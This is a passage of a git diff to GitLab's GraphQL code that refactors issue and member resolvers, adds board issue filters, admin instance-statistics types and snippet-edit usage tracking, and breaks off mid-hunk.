--- a/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
+++ b/app/graphql/mutations/metrics/dashboard/annotations/delete.rb
@@ -12,7 +12,7 @@ module Mutations
argument :id,
GraphQL::ID_TYPE,
required: true,
- description: 'The global id of the annotation to delete'
+ description: 'The global ID of the annotation to delete'
def resolve(id:)
annotation = authorized_find!(id: id)
diff --git a/app/graphql/mutations/snippets/create.rb b/app/graphql/mutations/snippets/create.rb
index a068fd806f5..a8aeb15afcd 100644
--- a/app/graphql/mutations/snippets/create.rb
+++ b/app/graphql/mutations/snippets/create.rb
@@ -16,14 +16,6 @@ module Mutations
required: true,
description: 'Title of the snippet'
- argument :file_name, GraphQL::STRING_TYPE,
- required: false,
- description: 'File name of the snippet'
-
- argument :content, GraphQL::STRING_TYPE,
- required: false,
- description: 'Content of the snippet'
-
argument :description, GraphQL::STRING_TYPE,
required: false,
description: 'Description of the snippet'
@@ -59,6 +51,11 @@ module Mutations
snippet = service_response.payload[:snippet]
+ # Only when the user is not an api user and the operation was successful
+ if !api_user? && service_response.success?
+ ::Gitlab::UsageDataCounters::EditorUniqueCounter.track_snippet_editor_edit_action(author: current_user)
+ end
+
{
snippet: service_response.success? ? snippet : nil,
errors: errors_on_object(snippet)
diff --git a/app/graphql/mutations/snippets/update.rb b/app/graphql/mutations/snippets/update.rb
index 6ff632ec008..d0db5fa2eb9 100644
--- a/app/graphql/mutations/snippets/update.rb
+++ b/app/graphql/mutations/snippets/update.rb
@@ -14,14 +14,6 @@ module Mutations
required: false,
description: 'Title of the snippet'
- argument :file_name, GraphQL::STRING_TYPE,
- required: false,
- description: 'File name of the snippet'
-
- argument :content, GraphQL::STRING_TYPE,
- required: false,
- description: 'Content of the snippet'
-
argument :description, GraphQL::STRING_TYPE,
required: false,
description: 'Description of the snippet'
@@ -42,6 +34,11 @@ module Mutations
update_params(args)).execute(snippet)
snippet = result.payload[:snippet]
+ # Only when the user is not an api user and the operation was successful
+ if !api_user? && result.success?
+ ::Gitlab::UsageDataCounters::EditorUniqueCounter.track_snippet_editor_edit_action(author: current_user)
+ end
+
{
snippet: result.success? ? snippet : snippet.reset,
errors: errors_on_object(snippet)
diff --git a/app/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver.rb b/app/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver.rb
new file mode 100644
index 00000000000..aea3afa8ec5
--- /dev/null
+++ b/app/graphql/resolvers/admin/analytics/instance_statistics/measurements_resolver.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Resolvers
+ module Admin
+ module Analytics
+ module InstanceStatistics
+ class MeasurementsResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+
+ type Types::Admin::Analytics::InstanceStatistics::MeasurementType, null: true
+
+ argument :identifier, Types::Admin::Analytics::InstanceStatistics::MeasurementIdentifierEnum,
+ required: true,
+ description: 'The type of measurement/statistics to retrieve'
+
+ def resolve(identifier:)
+ authorize!
+
+ ::Analytics::InstanceStatistics::Measurement
+ .with_identifier(identifier)
+ .order_by_latest
+ end
+
+ private
+
+ def authorize!
+ admin? || raise_resource_not_available_error!
+ end
+
+ def admin?
+ context[:current_user].present? && context[:current_user].admin?
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/resolvers/board_list_issues_resolver.rb b/app/graphql/resolvers/board_list_issues_resolver.rb
index a7cc367379d..dba9f99edeb 100644
--- a/app/graphql/resolvers/board_list_issues_resolver.rb
+++ b/app/graphql/resolvers/board_list_issues_resolver.rb
@@ -2,12 +2,20 @@
module Resolvers
class BoardListIssuesResolver < BaseResolver
+ include BoardIssueFilterable
+
+ argument :filters, Types::Boards::BoardIssueInputType,
+ required: false,
+ description: 'Filters applied when selecting issues in the board list'
+
type Types::IssueType, null: true
alias_method :list, :object
def resolve(**args)
- service = Boards::Issues::ListService.new(list.board.resource_parent, context[:current_user], { board_id: list.board.id, id: list.id })
+ filter_params = issue_filters(args[:filters]).merge(board_id: list.board.id, id: list.id)
+ service = Boards::Issues::ListService.new(list.board.resource_parent, context[:current_user], filter_params)
+
Gitlab::Graphql::Pagination::OffsetActiveRecordRelationConnection.new(service.execute)
end
diff --git a/app/graphql/resolvers/concerns/board_issue_filterable.rb b/app/graphql/resolvers/concerns/board_issue_filterable.rb
new file mode 100644
index 00000000000..1541738f46c
--- /dev/null
+++ b/app/graphql/resolvers/concerns/board_issue_filterable.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module BoardIssueFilterable
+ extend ActiveSupport::Concern
+
+ private
+
+ def issue_filters(args)
+ filters = args.to_h
+ set_filter_values(filters)
+
+ if filters[:not]
+ filters[:not] = filters[:not].to_h
+ set_filter_values(filters[:not])
+ end
+
+ filters
+ end
+
+ def set_filter_values(filters)
+ end
+end
+
+::BoardIssueFilterable.prepend_if_ee('::EE::Resolvers::BoardIssueFilterable')
diff --git a/app/graphql/resolvers/concerns/issue_resolver_arguments.rb b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
new file mode 100644
index 00000000000..2b14d8275d1
--- /dev/null
+++ b/app/graphql/resolvers/concerns/issue_resolver_arguments.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+module IssueResolverArguments
+ extend ActiveSupport::Concern
+
+ prepended do
+ include LooksAhead
+
+ argument :iid, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'IID of the issue. For example, "1"'
+ argument :iids, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'List of IIDs of issues. For example, [1, 2]'
+ argument :label_name, GraphQL::STRING_TYPE.to_list_type,
+ required: false,
+ description: 'Labels applied to this issue'
+ argument :milestone_title, GraphQL::STRING_TYPE.to_list_type,
+ required: false,
+ description: 'Milestone applied to this issue'
+ argument :assignee_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Username of a user assigned to the issue'
+ argument :assignee_id, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'ID of a user assigned to the issues, "none" and "any" values supported'
+ argument :created_before, Types::TimeType,
+ required: false,
+ description: 'Issues created before this date'
+ argument :created_after, Types::TimeType,
+ required: false,
+ description: 'Issues created after this date'
+ argument :updated_before, Types::TimeType,
+ required: false,
+ description: 'Issues updated before this date'
+ argument :updated_after, Types::TimeType,
+ required: false,
+ description: 'Issues updated after this date'
+ argument :closed_before, Types::TimeType,
+ required: false,
+ description: 'Issues closed before this date'
+ argument :closed_after, Types::TimeType,
+ required: false,
+ description: 'Issues closed after this date'
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Search query for issue title or description'
+ argument :types, [Types::IssueTypeEnum],
+ as: :issue_types,
+ description: 'Filter issues by the given issue types',
+ required: false
+ end
+
+ def resolve_with_lookahead(**args)
+ # The project could have been loaded in batch by `BatchLoader`.
+ # At this point we need the `id` of the project to query for issues, so
+ # make sure it's loaded and not `nil` before continuing.
+ parent = object.respond_to?(:sync) ? object.sync : object
+ return Issue.none if parent.nil?
+
+ # Will need to be made group & namespace aware with
+ # https://gitlab.com/gitlab-org/gitlab-foss/issues/54520
+ args[:iids] ||= [args.delete(:iid)].compact if args[:iid]
+ args[:attempt_project_search_optimizations] = true if args[:search].present?
+
+ finder = IssuesFinder.new(current_user, args)
+
+ continue_issue_resolve(parent, finder, **args)
+ end
+
+ class_methods do
+ def resolver_complexity(args, child_complexity:)
+ complexity = super
+ complexity += 2 if args[:labelName]
+
+ complexity
+ end
+ end
+end
diff --git a/app/graphql/resolvers/concerns/issue_resolver_fields.rb b/app/graphql/resolvers/concerns/issue_resolver_fields.rb
deleted file mode 100644
index bf2f510dd89..00000000000
--- a/app/graphql/resolvers/concerns/issue_resolver_fields.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-# frozen_string_literal: true
-
-module IssueResolverFields
- extend ActiveSupport::Concern
-
- prepended do
- argument :iid, GraphQL::STRING_TYPE,
- required: false,
- description: 'IID of the issue. For example, "1"'
- argument :iids, [GraphQL::STRING_TYPE],
- required: false,
- description: 'List of IIDs of issues. For example, [1, 2]'
- argument :label_name, GraphQL::STRING_TYPE.to_list_type,
- required: false,
- description: 'Labels applied to this issue'
- argument :milestone_title, GraphQL::STRING_TYPE.to_list_type,
- required: false,
- description: 'Milestone applied to this issue'
- argument :assignee_username, GraphQL::STRING_TYPE,
- required: false,
- description: 'Username of a user assigned to the issue'
- argument :assignee_id, GraphQL::STRING_TYPE,
- required: false,
- description: 'ID of a user assigned to the issues, "none" and "any" values supported'
- argument :created_before, Types::TimeType,
- required: false,
- description: 'Issues created before this date'
- argument :created_after, Types::TimeType,
- required: false,
- description: 'Issues created after this date'
- argument :updated_before, Types::TimeType,
- required: false,
- description: 'Issues updated before this date'
- argument :updated_after, Types::TimeType,
- required: false,
- description: 'Issues updated after this date'
- argument :closed_before, Types::TimeType,
- required: false,
- description: 'Issues closed before this date'
- argument :closed_after, Types::TimeType,
- required: false,
- description: 'Issues closed after this date'
- argument :search, GraphQL::STRING_TYPE,
- required: false,
- description: 'Search query for issue title or description'
- argument :types, [Types::IssueTypeEnum],
- as: :issue_types,
- description: 'Filter issues by the given issue types',
- required: false
- end
-
- def resolve(**args)
- # The project could have been loaded in batch by `BatchLoader`.
- # At this point we need the `id` of the project to query for issues, so
- # make sure it's loaded and not `nil` before continuing.
- parent = object.respond_to?(:sync) ? object.sync : object
- return Issue.none if parent.nil?
-
- # Will need to be made group & namespace aware with
- # https://gitlab.com/gitlab-org/gitlab-foss/issues/54520
- args[:iids] ||= [args.delete(:iid)].compact if args[:iid]
- args[:attempt_project_search_optimizations] = true if args[:search].present?
-
- finder = IssuesFinder.new(current_user, args)
-
- continue_issue_resolve(parent, finder, **args)
- end
-
- class_methods do
- def resolver_complexity(args, child_complexity:)
- complexity = super
- complexity += 2 if args[:labelName]
-
- complexity
- end
- end
-end
diff --git a/app/graphql/resolvers/concerns/looks_ahead.rb b/app/graphql/resolvers/concerns/looks_ahead.rb
index becc6debd33..e7230287e13 100644
--- a/app/graphql/resolvers/concerns/looks_ahead.rb
+++ b/app/graphql/resolvers/concerns/looks_ahead.rb
@@ -46,7 +46,7 @@ module LooksAhead
if lookahead.selects?(:nodes)
lookahead.selection(:nodes)
elsif lookahead.selects?(:edges)
- lookahead.selection(:edges).selection(:nodes)
+ lookahead.selection(:edges).selection(:node)
end
end
end
diff --git a/app/graphql/resolvers/group_members_resolver.rb b/app/graphql/resolvers/group_members_resolver.rb
new file mode 100644
index 00000000000..f34c873a8a9
--- /dev/null
+++ b/app/graphql/resolvers/group_members_resolver.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class GroupMembersResolver < MembersResolver
+ authorize :read_group_member
+
+ private
+
+ def preloads
+ {
+ user: [:user, :source]
+ }
+ end
+
+ def finder_class
+ GroupMembersFinder
+ end
+ end
+end
diff --git a/app/graphql/resolvers/issue_status_counts_resolver.rb b/app/graphql/resolvers/issue_status_counts_resolver.rb
index 0b26b9def54..5d0d5693244 100644
--- a/app/graphql/resolvers/issue_status_counts_resolver.rb
+++ b/app/graphql/resolvers/issue_status_counts_resolver.rb
@@ -2,26 +2,13 @@
module Resolvers
class IssueStatusCountsResolver < BaseResolver
- prepend IssueResolverFields
+ prepend IssueResolverArguments
type Types::IssueStatusCountsType, null: true
def continue_issue_resolve(parent, finder, **args)
- finder.params[parent_param(parent)] = parent if parent
- Gitlab::IssuablesCountForState.new(finder, parent)
- end
-
- private
-
- def parent_param(parent)
- case parent
- when Project
- :project_id
- when Group
- :group_id
- else
- raise "Unexpected type of parent: #{parent.class}. Must be Project or Group"
- end
+ finder.parent_param = parent
+ apply_lookahead(Gitlab::IssuablesCountForState.new(finder, parent))
end
end
end
diff --git a/app/graphql/resolvers/issues_resolver.rb b/app/graphql/resolvers/issues_resolver.rb
index e2874f6643c..396ae02ae13 100644
--- a/app/graphql/resolvers/issues_resolver.rb
+++ b/app/graphql/resolvers/issues_resolver.rb
@@ -2,7 +2,7 @@
module Resolvers
class IssuesResolver < BaseResolver
- prepend IssueResolverFields
+ prepend IssueResolverArguments
argument :state, Types::IssuableStateEnum,
required: false,
@@ -19,7 +19,7 @@ module Resolvers
milestone_due_asc milestone_due_desc].freeze
def continue_issue_resolve(parent, finder, **args)
- issues = Gitlab::Graphql::Loaders::IssuableLoader.new(parent, finder).batching_find_all
+ issues = apply_lookahead(Gitlab::Graphql::Loaders::IssuableLoader.new(parent, finder).batching_find_all)
if non_stable_cursor_sort?(args[:sort])
# Certain complex sorts are not supported by the stable cursor pagination yet.
@@ -30,6 +30,16 @@ module Resolvers
end
end
+ private
+
+ def preloads
+ {
+ alert_management_alert: [:alert_management_alert],
+ labels: [:labels],
+ assignees: [:assignees]
+ }
+ end
+
def non_stable_cursor_sort?(sort)
NON_STABLE_CURSOR_SORTS.include?(sort)
end
diff --git a/app/graphql/resolvers/members_resolver.rb b/app/graphql/resolvers/members_resolver.rb
new file mode 100644
index 00000000000..88a1ab71c45
--- /dev/null
+++ b/app/graphql/resolvers/members_resolver.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class MembersResolver < BaseResolver
+ include Gitlab::Graphql::Authorize::AuthorizeResource
+ include LooksAhead
+
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Search query'
+
+ def resolve_with_lookahead(**args)
+ authorize!(object)
+
+ apply_lookahead(finder_class.new(object, current_user, params: args).execute)
+ end
+
+ private
+
+ def finder_class
+ # override in subclass
+ end
+ end
+end
diff --git a/app/graphql/resolvers/merge_request_pipelines_resolver.rb b/app/graphql/resolvers/merge_request_pipelines_resolver.rb
index b371f1335f8..b95e46d9cff 100644
--- a/app/graphql/resolvers/merge_request_pipelines_resolver.rb
+++ b/app/graphql/resolvers/merge_request_pipelines_resolver.rb
@@ -7,6 +7,8 @@ module Resolvers
alias_method :merge_request, :object
def resolve(**args)
+ return unless project
+
resolve_pipelines(project, args)
.merge(merge_request.all_pipelines)
end
diff --git a/app/graphql/resolvers/merge_requests_resolver.rb b/app/graphql/resolvers/merge_requests_resolver.rb
index d15a1ede6fe..677f84e5795 100644
--- a/app/graphql/resolvers/merge_requests_resolver.rb
+++ b/app/graphql/resolvers/merge_requests_resolver.rb
@@ -29,11 +29,18 @@ module Resolvers
as: :label_name,
description: 'Array of label names. All resolved merge requests will have all of these labels.'
argument :merged_after, Types::TimeType,
- required: false,
- description: 'Merge requests merged after this date'
+ required: false,
+ description: 'Merge requests merged after this date'
argument :merged_before, Types::TimeType,
- required: false,
- description: 'Merge requests merged before this date'
+ required: false,
+ description: 'Merge requests merged before this date'
+ argument :milestone_title, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Title of the milestone'
+ argument :sort, Types::MergeRequestSortEnum,
+ description: 'Sort merge requests by this criteria',
+ required: false,
+ default_value: 'created_desc'
def self.single
::Resolvers::MergeRequestResolver
diff --git a/app/graphql/resolvers/metrics/dashboard_resolver.rb b/app/graphql/resolvers/metrics/dashboard_resolver.rb
index 05d82ca0f46..18a654c7dc5 100644
--- a/app/graphql/resolvers/metrics/dashboard_resolver.rb
+++ b/app/graphql/resolvers/metrics/dashboard_resolver.rb
@@ -14,7 +14,8 @@ module Resolvers
def resolve(**args)
return unless environment
- ::PerformanceMonitoring::PrometheusDashboard.find_for(project: environment.project, user: context[:current_user], path: args[:path], options: { environment: environment })
+ ::PerformanceMonitoring::PrometheusDashboard
+ .find_for(project: environment.project, user: context[:current_user], path: args[:path], options: { environment: environment })
end
end
end
diff --git a/app/graphql/resolvers/namespace_projects_resolver.rb b/app/graphql/resolvers/namespace_projects_resolver.rb
index e841132eea7..c221cb9aed6 100644
--- a/app/graphql/resolvers/namespace_projects_resolver.rb
+++ b/app/graphql/resolvers/namespace_projects_resolver.rb
@@ -7,19 +7,33 @@ module Resolvers
default_value: false,
description: 'Include also subgroup projects'
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ default_value: nil,
+ description: 'Search project with most similar names or paths'
+
+ argument :sort, Types::Projects::NamespaceProjectSortEnum,
+ required: false,
+ default_value: nil,
+ description: 'Sort projects by this criteria'
+
type Types::ProjectType, null: true
- def resolve(include_subgroups:)
+ def resolve(include_subgroups:, sort:, search:)
# The namespace could have been loaded in batch by `BatchLoader`.
# At this point we need the `id` or the `full_path` of the namespace
# to query for projects, so make sure it's loaded and not `nil` before continuing.
namespace = object.respond_to?(:sync) ? object.sync : object
return Project.none if namespace.nil?
- if include_subgroups
- namespace.all_projects.with_route
+ query = include_subgroups ? namespace.all_projects.with_route : namespace.projects.with_route
+
+ return query unless search.present?
+
+ if sort == :similarity
+ query.sorted_by_similarity_desc(search, include_in_select: true).merge(Project.search(search))
else
- namespace.projects.with_route
+ query.merge(Project.search(search))
end
end
diff --git a/app/graphql/resolvers/project_members_resolver.rb b/app/graphql/resolvers/project_members_resolver.rb
index 3846531762e..1ca4e81f397 100644
--- a/app/graphql/resolvers/project_members_resolver.rb
+++ b/app/graphql/resolvers/project_members_resolver.rb
@@ -1,21 +1,15 @@
# frozen_string_literal: true
module Resolvers
- class ProjectMembersResolver < BaseResolver
- argument :search, GraphQL::STRING_TYPE,
- required: false,
- description: 'Search query'
+ class ProjectMembersResolver < MembersResolver
+ type Types::MemberInterface, null: true
- type Types::ProjectMemberType, null: true
+ authorize :read_project_member
- alias_method :project, :object
-
- def resolve(**args)
- return Member.none unless project.present?
+ private
+ def finder_class
MembersFinder
- .new(project, context[:current_user], params: args)
- .execute
end
end
end
diff --git a/app/graphql/resolvers/project_merge_requests_resolver.rb b/app/graphql/resolvers/project_merge_requests_resolver.rb
new file mode 100644
index 00000000000..0526ccd315f
--- /dev/null
+++ b/app/graphql/resolvers/project_merge_requests_resolver.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class ProjectMergeRequestsResolver < MergeRequestsResolver
+ argument :assignee_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Username of the assignee'
+ argument :author_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Username of the author'
+ end
+end
diff --git a/app/graphql/resolvers/projects_resolver.rb b/app/graphql/resolvers/projects_resolver.rb
index f75f591b381..3bbadf87a71 100644
--- a/app/graphql/resolvers/projects_resolver.rb
+++ b/app/graphql/resolvers/projects_resolver.rb
@@ -12,9 +12,13 @@ module Resolvers
required: false,
description: 'Search query for project name, path, or description'
+ argument :ids, [GraphQL::ID_TYPE],
+ required: false,
+ description: 'Filter projects by IDs'
+
def resolve(**args)
ProjectsFinder
- .new(current_user: current_user, params: project_finder_params(args))
+ .new(current_user: current_user, params: project_finder_params(args), project_ids_relation: parse_gids(args[:ids]))
.execute
end
@@ -27,5 +31,9 @@ module Resolvers
search: params[:search]
}.compact
end
+
+ def parse_gids(gids)
+ gids&.map { |gid| GitlabSchema.parse_gid(gid, expected_type: ::Project).model_id }
+ end
end
end
diff --git a/app/graphql/resolvers/user_starred_projects_resolver.rb b/app/graphql/resolvers/user_starred_projects_resolver.rb
new file mode 100644
index 00000000000..cc3bb90decf
--- /dev/null
+++ b/app/graphql/resolvers/user_starred_projects_resolver.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Resolvers
+ class UserStarredProjectsResolver < BaseResolver
+ type Types::ProjectType, null: true
+
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Search query'
+
+ alias_method :user, :object
+
+ def resolve(**args)
+ StarredProjectsFinder.new(user, params: args, current_user: current_user).execute
+ end
+ end
+end
diff --git a/app/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum.rb b/app/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum.rb
new file mode 100644
index 00000000000..13c67442c2e
--- /dev/null
+++ b/app/graphql/types/admin/analytics/instance_statistics/measurement_identifier_enum.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module Types
+ module Admin
+ module Analytics
+ module InstanceStatistics
+ class MeasurementIdentifierEnum < BaseEnum
+ graphql_name 'MeasurementIdentifier'
+ description 'Possible identifier types for a measurement'
+
+ value 'PROJECTS', 'Project count', value: :projects
+ value 'USERS', 'User count', value: :users
+ value 'ISSUES', 'Issue count', value: :issues
+ value 'MERGE_REQUESTS', 'Merge request count', value: :merge_requests
+ value 'GROUPS', 'Group count', value: :groups
+ value 'PIPELINES', 'Pipeline count', value: :pipelines
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/admin/analytics/instance_statistics/measurement_type.rb b/app/graphql/types/admin/analytics/instance_statistics/measurement_type.rb
new file mode 100644
index 00000000000..d45341077a4
--- /dev/null
+++ b/app/graphql/types/admin/analytics/instance_statistics/measurement_type.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+# rubocop:disable Graphql/AuthorizeTypes
+
+module Types
+ module Admin
+ module Analytics
+ module InstanceStatistics
+ class MeasurementType < BaseObject
+ graphql_name 'InstanceStatisticsMeasurement'
+ description 'Represents a recorded measurement (object count) for the Admins'
+
+ field :recorded_at, Types::TimeType, null: true,
+ description: 'The time the measurement was recorded'
+
+ field :count, GraphQL::INT_TYPE, null: false,
+ description: 'Object count'
+
+ field :identifier, Types::Admin::Analytics::InstanceStatistics::MeasurementIdentifierEnum, null: false,
+ description: 'The type of objects being measured'
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb b/app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb
index 69af9d463bb..93dd49b3c38 100644
--- a/app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb
+++ b/app/graphql/types/admin/sidekiq_queues/delete_jobs_response_type.rb
@@ -7,7 +7,7 @@ module Types
# a plain hash.
class DeleteJobsResponseType < BaseObject # rubocop:disable Graphql/AuthorizeTypes
graphql_name 'DeleteJobsResponse'
- description 'The response from the AdminSidekiqQueuesDeleteJobs mutation.'
+ description 'The response from the AdminSidekiqQueuesDeleteJobs mutation'
field :completed,
GraphQL::BOOLEAN_TYPE,
diff --git a/app/graphql/types/alert_management/alert_type.rb b/app/graphql/types/alert_management/alert_type.rb
index 1a0b0685ffe..2da97030b88 100644
--- a/app/graphql/types/alert_management/alert_type.rb
+++ b/app/graphql/types/alert_management/alert_type.rb
@@ -6,6 +6,8 @@ module Types
graphql_name 'AlertManagementAlert'
description "Describes an alert from the project's Alert Management"
+ present_using ::AlertManagement::AlertPresenter
+
implements(Types::Notes::NoteableType)
authorize :read_alert_management_alert
diff --git a/app/graphql/types/award_emojis/award_emoji_type.rb b/app/graphql/types/award_emojis/award_emoji_type.rb
index 0247ec767c8..fe7affa50cc 100644
--- a/app/graphql/types/award_emojis/award_emoji_type.rb
+++ b/app/graphql/types/award_emojis/award_emoji_type.rb
@@ -4,7 +4,7 @@ module Types
module AwardEmojis
class AwardEmojiType < BaseObject
graphql_name 'AwardEmoji'
- description 'An emoji awarded by a user.'
+ description 'An emoji awarded by a user'
authorize :read_emoji
diff --git a/app/graphql/types/base_enum.rb b/app/graphql/types/base_enum.rb
index 94f6c47e876..159443641bc 100644
--- a/app/graphql/types/base_enum.rb
+++ b/app/graphql/types/base_enum.rb
@@ -2,9 +2,12 @@
module Types
class BaseEnum < GraphQL::Schema::Enum
+ extend GitlabStyleDeprecations
+
class << self
def value(*args, **kwargs, &block)
enum[args[0].downcase] = kwargs[:value] || args[0]
+ kwargs = gitlab_deprecation(kwargs)
super(*args, **kwargs, &block)
end
diff --git a/app/graphql/types/base_field.rb b/app/graphql/types/base_field.rb
index c8ec4b3f897..1e72a4cddf5 100644
--- a/app/graphql/types/base_field.rb
+++ b/app/graphql/types/base_field.rb
@@ -3,6 +3,7 @@
module Types
class BaseField < GraphQL::Schema::Field
prepend Gitlab::Graphql::Authorize
+ include GitlabStyleDeprecations
DEFAULT_COMPLEXITY = 1
@@ -12,11 +13,39 @@ module Types
kwargs[:complexity] = field_complexity(kwargs[:resolver_class], kwargs[:complexity])
@feature_flag = kwargs[:feature_flag]
kwargs = check_feature_flag(kwargs)
- kwargs = handle_deprecated(kwargs)
+ kwargs = gitlab_deprecation(kwargs)
super(*args, **kwargs, &block)
end
+ # Based on https://github.com/rmosolgo/graphql-ruby/blob/v1.11.4/lib/graphql/schema/field.rb#L538-L563
+ # Modified to fix https://github.com/rmosolgo/graphql-ruby/issues/3113
+ def resolve_field(obj, args, ctx)
+ ctx.schema.after_lazy(obj) do |after_obj|
+ query_ctx = ctx.query.context
+ inner_obj = after_obj && after_obj.object
+
+ ctx.schema.after_lazy(to_ruby_args(after_obj, args, ctx)) do |ruby_args|
+ if authorized?(inner_obj, ruby_args, query_ctx)
+ if @resolve_proc
+ # We pass `after_obj` here instead of `inner_obj` because extensions expect a GraphQL::Schema::Object
+ with_extensions(after_obj, ruby_args, query_ctx) do |extended_obj, extended_args|
+ # Since `extended_obj` is now a GraphQL::Schema::Object, we need to get the inner object and pass that to `@resolve_proc`
+ extended_obj = extended_obj.object if extended_obj.is_a?(GraphQL::Schema::Object)
+
+ @resolve_proc.call(extended_obj, args, ctx)
+ end
+ else
+ public_send_field(after_obj, ruby_args, query_ctx)
+ end
+ else
+ err = GraphQL::UnauthorizedFieldError.new(object: inner_obj, type: obj.class, context: ctx, field: self)
+ query_ctx.schema.unauthorized_field(err)
+ end
+ end
+ end
+ end
+
def base_complexity
complexity = DEFAULT_COMPLEXITY
complexity += 1 if calls_gitaly?
@@ -52,28 +81,6 @@ module Types
args
end
- def handle_deprecated(kwargs)
- if kwargs[:deprecation_reason].present?
- raise ArgumentError, 'Use `deprecated` property instead of `deprecation_reason`. ' \
- 'See https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields'
- end
-
- deprecation = kwargs.delete(:deprecated)
- return kwargs unless deprecation
-
- milestone, reason = deprecation.values_at(:milestone, :reason).map(&:presence)
-
- raise ArgumentError, 'Please provide a `milestone` within `deprecated`' unless milestone
- raise ArgumentError, 'Please provide a `reason` within `deprecated`' unless reason
- raise ArgumentError, '`milestone` must be a `String`' unless milestone.is_a?(String)
-
- deprecated_in = "Deprecated in #{milestone}"
- kwargs[:deprecation_reason] = "#{reason}. #{deprecated_in}"
- kwargs[:description] += ". #{deprecated_in}: #{reason}" if kwargs[:description]
-
- kwargs
- end
-
def field_complexity(resolver_class, current)
return current if current.present? && current > 0
diff --git a/app/graphql/types/board_list_type.rb b/app/graphql/types/board_list_type.rb
index 70c0794fc90..24faf1fe8bc 100644
--- a/app/graphql/types/board_list_type.rb
+++ b/app/graphql/types/board_list_type.rb
@@ -41,7 +41,7 @@ module Types
list = self.object
user = context[:current_user]
- Boards::Issues::ListService
+ ::Boards::Issues::ListService
.new(list.board.resource_parent, user, board_id: list.board_id, id: list.id)
.metadata
end
diff --git a/app/graphql/types/boards/board_issue_input_base_type.rb b/app/graphql/types/boards/board_issue_input_base_type.rb
new file mode 100644
index 00000000000..1187b3352cd
--- /dev/null
+++ b/app/graphql/types/boards/board_issue_input_base_type.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Types
+ module Boards
+ # rubocop: disable Graphql/AuthorizeTypes
+ class BoardIssueInputBaseType < BaseInputObject
+ argument :label_name, GraphQL::STRING_TYPE.to_list_type,
+ required: false,
+ description: 'Filter by label name'
+
+ argument :milestone_title, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by milestone title'
+
+ argument :assignee_username, GraphQL::STRING_TYPE.to_list_type,
+ required: false,
+ description: 'Filter by assignee username'
+
+ argument :author_username, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by author username'
+
+ argument :release_tag, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by release tag'
+
+ argument :my_reaction_emoji, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Filter by reaction emoji'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
+
+Types::Boards::BoardIssueInputBaseType.prepend_if_ee('::EE::Types::Boards::BoardIssueInputBaseType')
diff --git a/app/graphql/types/boards/board_issue_input_type.rb b/app/graphql/types/boards/board_issue_input_type.rb
new file mode 100644
index 00000000000..40d065d8ea9
--- /dev/null
+++ b/app/graphql/types/boards/board_issue_input_type.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Types
+ module Boards
+ # rubocop: disable Graphql/AuthorizeTypes
+ class NegatedBoardIssueInputType < BoardIssueInputBaseType
+ end
+
+ class BoardIssueInputType < BoardIssueInputBaseType
+ graphql_name 'BoardIssueInput'
+
+ argument :not, NegatedBoardIssueInputType,
+ required: false,
+ description: 'List of negated params. Warning: this argument is experimental and a subject to change in future'
+
+ argument :search, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'Search query for issue title or description'
+ end
+ # rubocop: enable Graphql/AuthorizeTypes
+ end
+end
+
+Types::Boards::BoardIssueInputType.prepend_if_ee('::EE::Types::Boards::BoardIssueInputType')
diff --git a/app/graphql/types/ci/pipeline_config_source_enum.rb b/app/graphql/types/ci/pipeline_config_source_enum.rb
index 48f88c133b4..e1575cb2f99 100644
--- a/app/graphql/types/ci/pipeline_config_source_enum.rb
+++ b/app/graphql/types/ci/pipeline_config_source_enum.rb
@@ -3,7 +3,7 @@
module Types
module Ci
class PipelineConfigSourceEnum < BaseEnum
- ::Ci::PipelineEnums.config_sources.keys.each do |state_symbol|
+ ::Enums::Ci::Pipeline.config_sources.keys.each do |state_symbol|
value state_symbol.to_s.upcase, value: state_symbol.to_s
end
end
diff --git a/app/graphql/types/ci/pipeline_type.rb b/app/graphql/types/ci/pipeline_type.rb
index 82a9f8495ce..c508b746317 100644
--- a/app/graphql/types/ci/pipeline_type.rb
+++ b/app/graphql/types/ci/pipeline_type.rb
@@ -26,7 +26,7 @@ module Types
